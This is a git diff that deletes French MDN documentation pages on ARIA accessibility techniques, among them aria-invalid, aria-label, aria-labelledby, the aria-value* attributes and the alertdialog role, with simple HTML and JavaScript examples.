- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-invalid/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-invalid/index.html" deleted file mode 100644 index 63ff4fc91c..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-invalid/index.html" +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Utiliser l'attribut aria-invalid -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-invalid -tags: - - ARIA - - Accessibilité - - Attribut -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-invalid_attribute ---- -

Description

- -
-

Cette technique présente l’utilisation de l’attribut aria-invalid.

-
- -

L’attribut aria-invalid est utilisé pour indiquer que la valeur saisie dans un champ de saisie n’est pas conforme au format attendu par l’application. Cela comprend les formats tels que les adresses électroniques ou les numéros de téléphone. aria-invalid peut également être utilisé pour indiquer qu’un champ obligatoire n’a pas été rempli. L’attribut devrait être programmatiquement défini comme étant le résultat du processus de validation.

- -

Cet attribut peut être utilisé avec n’importe quel élément de formulaire HTML typique ; il n’est pas limité aux éléments auxquels a été assigné un rôle ARIA.

- -

Valeurs

- -

Vocabulaire

- -
-
false (défaut)
-
Aucune erreur détectée
-
grammar
-
Une faute de grammaire a été détectée.
-
spelling
-
Une faute d’orthographe a été détectée.
-
true
-
La valeur n’a pas passé la validation.
-
- -

Toute valeur absente de ce vocabulaire devrait être traitée comme true.

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Les agents utilisateurs devraient informer l’utilisateur lorsqu’un champ n’est pas valide. Les développeurs d’applications devraient fournir des suggestions pour la correction du problème, lorsque c’est possible. Les auteurs devraient empêcher la soumission de formulaires contenant des erreurs.

- -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournit ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 : validation d’un formulaire de base

- -

L’extrait de code suivant décrit une version simplifiée de deux champs de formulaire avec une fonction de validation de la saisie attachée à la perte de focus. Notez que la valeur par défaut de aria-required étant false, il n’est pas strictement nécessaire d’ajouter à entrer.

- -
<input name="nom" id="nom" aria-required="true" aria-invalid="false"
-        onblur="checkValidity('nom', ' ', 'Le nom saisi n’est pas valide (vous devez saisir un nom et un prénom)');"/>
-<br />
-<input name="courriel" id="courriel" aria-required="true" aria-invalid="false"
-        onblur="checkValidity('courriel', '@', 'L’adresse électronique saisie n’est pas valide');"/>
-
- -

Remarquez qu’il n’est pas nécessaire de valider les champs de saisie immédiatement à la perte de focus ; l’application peut attendre jusqu’à la soumission du formulaire (bien que ce ne soit pas particulièrement recommandé).

- -

L’extrait de code ci-dessous décrit une fonction de validation très simple qui ne vérifie que la présence d’un caractère particulier (en réalité, la validation sera un peu plus sophistiquée) :

- -
function checkValidity(aID, aSearchTerm, aMsg){
-    var elem = document.getElementById(aID);
-    var invalid = (elem.value.indexOf(aSearchTerm) < 0);
-    if (invalid) {
-      elem.setAttribute("aria-invalid", "true");
-      updateAlert(aMsg);
-    } else {
-      elem.setAttribute("aria-invalid", "false");
-      updateAlert();
-    }
-}
-
- -

L’extrait de code ci-dessous décrit des fonctions d’alertes, qui ajoutent (ou suppriment) le message d’erreur :

- -
function updateAlert(msg) {
-    var oldAlert = document.getElementById("alert");
-    if (oldAlert) {
-        document.body.removeChild(oldAlert);
-    }
-
-    if (msg) {
-        var newAlert = document.createElement("div");
-        newAlert.setAttribute("role", "alert");
-        newAlert.setAttribute("id", "alert");
-        var content = document.createTextNode(msg);
-        newAlert.appendChild(content);
-        document.body.appendChild(newAlert);
-    }
-}
-
- -

Remarquez que le rôle ARIA de l’alerte est définit comme étant "alert".

- -

Exemples concrets :

- -

Exemple de role d’alerte (utilisant l’attribut aria-invalid).

- -

Notes

- - - -

Utilisé dans les rôles ARIA

- -

Tous les éléments de balisage de base.

- -

Techniques ARIA connexes

- - - -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-label/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-label/index.html" deleted file mode 100644 index 81fdf2ae5b..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-label/index.html" +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Utiliser l'attribut aria-label -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-label -tags: - - ARIA - - Accessibilité - - Attribut - - aria-label -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute ---- -

L’attribut aria-label est utilisé pour définir une légende non-visible associée à un élément HTML dont le sens est transmis uniquement par le visuel. Par exemple, une croix pour fermer une fenêtre modale.

- -

Contexte

- -

Pour la plupart des usagers, le contexte et l'apparence d'un élément suffisent à déterminer son rôle. Par exemple, une croix pour fermer une fenêtre modale ou une icône de hamburger pour ouvrir un menu.

- -

En revanche, certains usagers tels que les aveugles et malvoyants ne peuvent pas faire de même. Cet attribut permet aux développeurs d'indiquer une alternative textuelle à ces contrôles visuels, qui sera lue par les technologies d'assistance. En revanche, le contenu de l'attribut aria-label ne sera pas visible pour les autres usagers.

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Les lecteurs d'écran lisent le contenu textuel de cet attribut.

- -

Usage

- -

L’attribut aria-label ne doit être utilisé que lorsque le texte d’un label n’est pas visible à l’écran. Si le texte du label de l’élément existe et est visible, utilisez plutôt l’attribut aria-labelledby.

- -

Cet attribut peut être utilisé avec n’importe quel élément HTML. Néanmoins, il n'est pas nécessaire de l'utiliser si l'élément possède déjà un mécanisme pour légender son contenu. Par exemple l'élément <label> pour les éléments de formulaire, ou l'attribut alt pour les images.

- -

Valeur

- -
-

Une légende sous forme de chaîne de caractère.

-
- -

Exemples

- -

Un bouton sans contenu textuel explicite

- -

Dans l’exemple ci-dessous, un bouton est stylé pour ressembler à un bouton « Fermer » classique, avec un X en son centre. Comme il n’existe aucune information indiquant que la fonction du bouton est de fermer la boîte de dialogue, l’attribut aria-label est utilisé pour fournir un label aux technologies d’assistance.

- -
 <button aria-label="Fermer" onclick="myDialog.close()">X</button>
-
- -

Un champ de saisie utilisant contentEditable

- -

Pour proposer une expérience d'édition plus personnalisée, on pourrait utiliser une div avec l'attribut contenteditable à la place d'un élément de formulaire natif comme <textarea>. Cette situation ne permettrait pas d'associer un <label> à ce champ de saisie. Ainsi on pourrait utiliser aria-label à la place.

- -

Pour aller plus loin

- -

Notes

- -

L’affectation d’API accessibilité la plus courante pour un label est la propriété de nom accessible.

- -

Utilisé par les rôles ARIA

- -

Tous les éléments de balisage de base.

- -

Techniques ARIA connexes

- - - -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-labelledby/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-labelledby/index.html" deleted file mode 100644 index 34eac612ab..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-labelledby/index.html" +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: Utiliser l'attribut aria-labelledby -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-labelledby -tags: - - ARIA - - Accessibilité - - Attribut -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute ---- -

Description

- -
-

Cette technique présente l’utilisation de l’attribut aria-labelledby.

-
- -

L’attribut aria-labelledby est utilisé pour indiquer les ID des éléments qui labellisent l’objet. Il est utilisé pour établir une relation entre les composants, ou les groupes, et leurs labels. Les utilisateurs de technologies d’assistance telles que les lecteurs d’écran, naviguent généralement dans un document en tabulant entre les zones de l’écran. Si un label n’est pas associé à un élément de saisie, un composant ou un groupe, il ne sera pas lu par le lecteur d’écran.

- -

aria-labelledby est très similaire à l’attribut aria-describedby : un label décrit la nature d’un objet, alors qu’une description fournit plus d’informations pouvant être utiles à l’utilisateur.

- -

L’attribut aria-labelledby n’est pas uniquement utilisé avec les éléments de formulaire ; il peut également être utilisé pour associer un texte statique avec des composants, des groupes d’éléments, des panneaux, des zones possédant un titre, des définitions, etc. La section {{ anch("Exemples") }} ci-dessous fournit plus d’informations sur l’utilisation de cet attribut dans ces cas précis.

- -

L’attribut aria-labelledby peut être utilisé en conjonction avec l’élément {{ HTMLElement("label") }} (à l’aide de l’attribut for) pour améliorer la compatibilité avec les agents utilisateurs qui ne prennent pas encore en charge ARIA.

- -

Cet attribut peut être utilisé avec n’importe quel élément caractéristique de formulaire HTML ; il n’est pas limité aux éléments auxquels un rôle ARIA a été assigné.

- -

Valeurs

- -

Une liste d’ID d’éléments séparés par des espaces

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Lorsque les deux attributs aria-labelledby et aria-label sont utilisés, les agents utilisateurs donnent la priorité à aria-labelledby lors du calcul de la propriété de nom accessible.

- -

Exemples

- -

Exemple 1 : Labels multiples

- -

Dans l’exemple ci-dessous, chaque champ de saisie est labellisé à la fois avec son propre label individuel et avec le label pour le groupe :

- -
<div id="facturation">Facturation</div>
-
-<div>
-  <div id="nom">Nom</div>
-
-  <input type="text" aria-labelledby="nom facturation"/>
-</div>
-
-<div>
-  <div id="adresse">Adresse</div>
-
-  <input type="text" aria-labelledby="adresse facturation"/>
-</div>
-
- -

Exemple 2 : Association de titres et de zones

- -

Dans l’exemple ci-dessous, les éléments d’en-têtes sont associés avec les contenus dont ils sont les intitulés. Notez que la zone référencée est celle qui contient l’en-tête.

- -
<div role="main" aria-labelledby="foo">
-  <h1 id="foo">Le feu devenu incontrôlable gagne les abords d’Aubagne</h1>
-  Un fort mistral a propagé le feu de forêt qui s’est déclaré ce lundi soir suite aux fortes températures de ces derniers jours…
-</div>
-
- -

Exemple 3 : Groupes de boutons radio

- -

Dans l’exemple ci-dessous, le conteneur d’un radiogroup est associé avec son label à l’aide de l’attribut aria-labelledby :

- -
<div id="radio_label">My radio label</div>
-
-<ul role="radiogroup" aria-labelledby="radio_label">
-  <li role="radio">Élément №1</li>
-  <li role="radio">Élément №2</li>
-  <li role="radio">Élément №3</li>
-</ul>
-
- -

Exemple 4 : Titre de boite de dialogue

- -

Dans l’exemple ci-dessous, l’élément d’en-tête qui labellise la boite de dialogue y est relié par l’attribut aria-labelledby :

- -
<div role="dialog" aria-labelledby="titreDialogue">
-  <h2 id="titreDialogue">Choisir un fichier</h2>
-  … Contenus de la boîte de dialogue
-</div>
-
- -

Exemple 5 : Définition intégrée

- -

Dans l’exemple ci-dessous, la définition d’un terme qui est décrit dans le flux naturel de la narration, est associée au terme lui-même à l’aide de l’attribut aria-labelledby:

- -
<p>Le docteur expliqua que c’était un <dfn id="placebo">placebo</dfn>, <span role="definition" aria-labelledby="placebo"> ou
-une préparation inerte prescrite plus pour le soulagement mental du patient que ses effets possible sur une pathologie.</span>
-</p>
-
- -

Exemple 6 : Listes de définitions

- -

Dans l’exemple ci-dessous, les définitions sont associées avec les termes qu’elles définissent à l’aide de l’attribut aria-labelledby :

- -
<dl>
-  <dt id="anatheme">anathème</dt>
-    <dd role="definition" aria-labelledby="anatheme">une interdiction ou une condamnation prononcée par une autorité ecclésiastique
-                                         et accompagnée de l’excommunication</dd>
-    <dd role="definition" aria-labelledby="anatheme">une dénonciation vigoureuse&nbsp;: condamnation</dd>
-
-  <dt id="homelie">homélie</dt>
-    <dd role="definition" aria-labelledby="homelie">généralement un sermon court</dd>
-    <dd role="definition" aria-labelledby="homelie">une lecture ou un discours sur un thème moral</dd>
-
-</dl>
-
- -

Exemple 7 : Menus

- -

Dans l’exemple ci-dessous, un menu contextuel est associé avec son label à l’aide de l’attribut aria-labelledby :

- -
<div role="menubar">
-  <div role="menuitem" aria-haspopup="true" id="fichierMenu">Fichier</div>
-  <div role="menu" aria-labelledby="fichierMenu">
-    <div role="menuitem">Ouvrir</div>
-    <div role="menuitem">Enregistrer</div>
-    <div role="menuitem">Enregistrer sous…</div>
-    …
-  </div>
-…
-</div>
-
- -

Exemples concrets :

- - - -

Notes

- -

L’affectation d’API accessibilité la plus courante pour un label est la propriété de nom accessible.

- -

Utilisé par les rôles ARIA

- -

Tous les éléments de balisage de base.

- -

Techniques ARIA connexes

- - - -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-orientation/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-orientation/index.html" deleted file mode 100644 index 289379c098..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-orientation/index.html" +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Utiliser l'attribut aria-orientation -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-orientation -tags: - - ARIA - - Accessibilité - - Attribut -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-orientation_attribute ---- -

Description

- -
-

Cette technique présente l’utilisation de l’attribut aria-orientation.

-
- -

L’attribut aria-orientation est utilisé pour indiquer si un élément est orienté verticalement ou horizontalement.

- -

Valeurs

- -

Vocabulaire

- -
-
vertical
-
L’élément est orienté verticalement.
-
horizontal (défaut)
-
L’élément est orienté horizontalement.
-
- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 :

- -

L’extrait de code ci-dessous présente un curseur simple orienté verticalement.

- -
<a href="#" id="handle_zoomSlider"
-  role="slider"
-  aria-orientation="vertical"
-  aria-valuemin="0"
-  aria-valuemax="17"
-  aria-valuenow="14" >
-    <span>11</span>
-</a>
-
- -

Exemples concrets :

- - - -

Notes

- -

Utilisé avec les rôles ARIA

- - - -

Techniques ARIA connexes

- -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-relevant/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-relevant/index.html" deleted file mode 100644 index 2354a7be55..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-relevant/index.html" +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Utiliser l'attribut aria-relevant -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-relevant -tags: - - ARIA - - Accessibilité -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute ---- -

L’attribut aria-relevant est une valeur optionnelle utilisée pour décrire quels types de modifications ont été apportés à une région aria-live, ainsi que ceux qui sont pertinents et doivent être annoncés. Toute modification jugée comme non pertinente se comporte de la même manière que si l’attribut aria-live n’était pas activé.

- -

L’attribut aria-relevant est habituellement utilisé lorsque le contenu d’une page web peut être mis à jour alors que la page est affichée.

- -

Valeurs

- -

Une liste délimitée par des espaces avec une ou plusieurs des valeurs suivantes :

- - - -

aria-relevant="additions text" est la valeur par défaut d’une région live.

- -

Autres ressources

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-required/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-required/index.html" deleted file mode 100644 index 79bbf0d0ed..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-required/index.html" +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Utiliser l'attribut aria-required -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-required -tags: - - ARIA - - Accessibilité - - Attribut -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-required_attribute ---- -

Description

- -
-

Cette technique présente l’utilisation de l’attribut aria-required.

-
- -

L’attribut aria-required est utilisé pour indiquer que l’utilisateur doit obligatoirement remplir un champ de formulaire avant de le soumettre. Cet attribut peut être utilisé avec n’importe quel élément de formulaire HTML ; il n’est pas limité aux éléments auxquels a été assigné un rôle ARIA.

- -

{{ HTMLVersionInline("5") }} a introduit l’attribut required, mais aria-required est toujours utile pour les agents utilisateurs qui ne prennent pas encore en charge HTML5.

- -

Valeurs

- -

true ou false (Valeur par défaut : false)

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Les lecteurs d’écran devraient annoncer le champ comme étant obligatoire.

- -

Remarquez que cet attribut ne changera pas automatiquement la présentation du champ.

- -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 : un formulaire simple

- -
<form action="post">
-  <label for="prenom">Prénom&nbsp;:</label>
-  <input id="prenom" type="text" aria-required="true">
-  <br/>
-  <label for="nom">Nom&nbsp;:</label>
-  <input id="nom" type="text" aria-required="true">
-  <br/>
-  <label for="adresse">Adresse&nbsp;:</label>
-  <input id="adresse" type="text">
-</form>
-
- -

Exemples concrets :

- -

Exemple d’infobulle (comprenant l’utilisation de l’attribut aria-required).

- -

Notes

- -

Utilisé dans les rôles ARIA

- - - -

Techniques ARIA connexes

- - - -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuemax/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuemax/index.html" deleted file mode 100644 index dfcacb5ea1..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuemax/index.html" +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Utiliser l'attribut aria-valuemax -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuemax -tags: - - ARIA - - Accessibilité - - Attribut -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemax_attribute ---- -

Description

- -
-

Cette technique présente l’utilisation de l’attribut aria-valuemax.

-
- -

L’attribut aria-valuemax est utilisé pour définir la valeur maximale autorisée pour un composant à intervalle tels qu’une barre de progression progressbar, un bouton rotatif spinbutton ou un curseur slider. Si aria-valuenow a des valeurs minimale et maximale connues, le développeur devrait fournir les propriétés de aria-valuemax et aria-valuemin. La valeur de aria-valuemax DOIT être supérieure ou égale à celle de aria-valuemin.

- -

aria-valuemax est un attribut obligatoire des rôles slider, scrollbar et spinbutton.

- -

Valeurs

- -

Représentation d’un nombre par une chaîne

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Si la valeur aria-valuemax n’est pas déterminée, ou si aria-valuemin n’est pas inférieure ou égale à la valeur de aria-valuemax, cela créera une condition d’erreur qui sera gérée par la technologie d’assistance.

- -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1:

- -

L’extrait de code ci-dessous montre un curseur basique avec une valeur maximale de 10.

- -
<div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10">
-
- -

Exemples concrets :

- - - -

Notes

- -

Utilisés avec les rôles ARIA

- - - -

Techniques ARIA connexes

- - - -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuemin/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuemin/index.html" deleted file mode 100644 index 55e3dc2d4c..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuemin/index.html" +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Utiliser l'attribut aria-valuemin -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuemin -tags: - - ARIA - - Accessibilité - - Attribut -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute ---- -

Description

- -

L’attribut aria-valuemin est utilisé pour définir la valeur minimale autorisée pour un composant à intervalle tel qu’une barre de progression progressbar, un bouton rotatif spinbutton ou un curseur slider. Si aria-valuenow a des valeurs limites connues (minimum et maximum), le développeur devrait spécifier les propriétés de aria-valuemax et aria-valuemin. La valeur de aria-valuemin DOIT être inférieure ou égale à celle de aria-valuemax.

- -

aria-valuemin est un attribut obligatoire des rôles slider, scrollbar et spinbutton.

- -

Valeurs

- -

Représentation d’un nombre sous forme d'une chaîne

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Si aria-valuemin n’est pas inférieure ou égale à la valeur de aria-valuemax, cela créera une condition d’erreur qui sera gérée par la technologie d’assistance.

- -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 :

- -

L’extrait de code ci-dessous montre un curseur basique avec une valeur minimale de 1.

- -
<div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10">
-
- -

Exemples concrets :

- - - -

Notes

- -

Utilisé avec les rôles ARIA

- - - -

Techniques ARIA connexes

- - - -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuenow/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuenow/index.html" deleted file mode 100644 index 15f5e46588..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuenow/index.html" +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Utiliser l'attribut aria-valuenow -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuenow -tags: - - ARIA - - Accessibilité - - Attribut -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuenow_attribute ---- -

Description

- -
-

Cette technique présente l’utilisation de l'attribut aria-valuenow.

-
- -

L’attribut aria-valuenow est utilisé pour définir la valeur courante de l’intervalle d’un composant tel qu’un slider, spinbutton ou une progressbar. Si la valeur courante n'est pas connue, le développeur ne devrait pas définir l’attribut aria-valuenow. Si aria-valuenow a des valeurs minimale et maximale connues, le développeur devrait définir les attributs aria-valuemin et aria-valuemax.

- -

Lorsque la valeur retournée ne peut être précisément représentée par une nombre, les développeurs DEVRAIENT utiliser l’attribut aria-valuetext en conjonction avec aria-valuenow pour fournir une représentation humainement lisible de la valeur courante. Par exemple, un curseur peut avoir des valeurs retournées comme petite, moyenne et grande. Dans ce cas, les valeurs de aria-valuenow peuvent varier de 1 à 3, ce qui indique la position de chaque valeur dans l'espace de valeurs, mais la valeur de aria-valuetext sera l’une des chaînes : petite, moyenne ou grande.

- -

L’attribut aria-valuenow est obligatoire pour les rôles slider, scrollbar et spinbutton.

- -

Valeurs

- -

Représentation d’un nombre par une chaîne

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Pour les éléments possédant les rôles progressbar et scrollbar, les technologies d’assistance DEVRAIENT renvoyer la valeur courante sous forme de pourcentage, calculée comme étant la position dans l'intervalle compris entre aria-valuemin et aria-valuemax si les deux sont définies,  sinon la valeur actuelle avec un pourcentage.

- -

Pour les éléments possédant les rôles slider et spinbutton, les technologies d’assistance DEVRAIENT retourner la valeur courante à l’utilisateur.

- -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 :

- -

L’extrait de code ci-dessous affiche un curseur simple avec une valeur courante de 4.

- -
<div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10">
-
- -

Exemples concrets :

- - - -

Notes

- -

Utilisé avec les rôles ARIA

- - - -

Techniques ARIA connexes

- - - -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuetext/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuetext/index.html" deleted file mode 100644 index a328cb3066..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_l_attribut_aria-valuetext/index.html" +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Utiliser l'attribut aria-valuetext -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuetext -tags: - - ARIA - - Accessibilité - - Attribut -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute ---- -

Description

- -

L’attribut aria-valuetext est utilisé pour définir un texte alternatif, lisible par l'homme, de la valeur aria-valuenow d’un composant à intervalle tel qu’une barre de progression, un bouton rotatif spinbutton ou un curseur slider.

- -

Les développeurs DEVRAIENT uniquement définir l’attribut aria-valuetext lorsque la valeur retournée ne peut pas être précisément représentée sous forme de nombre.

- -

Par exemple, dans le cas d'un curseur qui peut retourner les valeurs petite, moyenneet grand, les valeurs de aria-valuenow pourraient aller de 1 à 3, indiquant ainsi la position de chaque valeur dans l’intervalle, mais la valeur de aria-valuetext sera l'une des chaînes suivantes : petite, moyenne ou grande.

- -

Valeurs

- -

Représentation d’un nombre sous forme d'une chaîne

- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Si l’attribut aria-valuetext est absent, les technologies d’assistance compteront uniquement sur l’attribut aria-valuenow pour la valeur courante. Si aria-valuetext est spécifié, les technologies d’assistance DEVRAIENT retourner cette valeur plutôt que celle de aria-valuenow.

- -
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
- -

Exemples

- -

Exemple 1 :

- -

L’extrait de code ci-dessous montre un curseur simple de sélection d’un jour de la semaine. La valeur du curseur est numérique, et l’attribut aria-valuetext est utilisé pour fournir le nom de jour. L’application actualisera programmatiquement aria-valuetext selon la valeur de aria-valuenow.

- -
<div role="slider" aria-valuenow="1"
-    aria-valuemin="1" aria-valuemax="7"
-    aria-valuetext="Dimanche">
-
- -

Exemples concrets :

- -

Notes

- -

Utilisé avec les rôles ARIA

- - - -

Techniques ARIA connexes

- - - -

Compatibilité

- -

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

- -

Autres ressources

- - diff --git "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_alertdialog/index.html" "b/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_alertdialog/index.html" deleted file mode 100644 index 0894b30460..0000000000 --- "a/files/fr/accessibilit\303\251/aria/techniques_aria/utiliser_le_role_alertdialog/index.html" +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Utilisation du rôle alertdialog -slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_alertdialog -tags: - - ARIA - - Accessibilité - - Développement Web - - Rôle -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_alertdialog_role ---- -

Description

- -
-

Cette technique présente l’utilisation du rôle alertdialog role.

-
- -

Le rôle alertdialog est utilisé pour notifier à l’utilisateur des informations urgentes qui requièrent son attention immédiate. Comme le nom l’indique, alertdialog est un type de boîte de dialogue. Cela signifie que la plupart des instructions fournies à propos de l’utilisation du rôle dialog s’appliquent également au rôle alertdialog :

- - - -

La différence avec les boîtes de dialogues classiques réside dans le fait que le rôle alertdialog devrait uniquement être utilisé lorsque des alertes, des erreurs ou des avertissements ont lieu. En d’autres termes, lorsque les informations et les contrôles d’une boîte de dialogue nécessitent l’attention immédiate de l’utilisateur il est préférable d’utiliser le rôle alertdialog plutôt que dialog. Il revient au développeur de faire la distinction entre les deux.

- -

Du fait de sa nature urgente, les boîtes de dialogues d’alertes doivent toujours être modales.

- -
Note : ce rôle ne devrait être utilisé que pour des messages d’alertes associés à des contrôles interactifs. Si une boîte de dialogue d’alerte ne comporte que du contenu statique et qu’elle ne possède absolument aucun contrôle interactif, alertdialog n’est probablement pas le rôle le plus judicieux à utiliser. Le rôle alert est plus adapté pour ce cas (comme décrit dans l’article sur la technique d’utilisation du rôle alert).
- -

Effets possibles sur les agents utilisateurs et les technologies d’assistance

- -

Lorsque le rôle alertdialog est utilisé, l’agent utilisateur devrait suivre les étapes suivantes :

- - - -

Lorsque la boîte de dialogue de l’alerte apparaît, les lecteurs d’écran devraient annoncer l’alerte.

- -
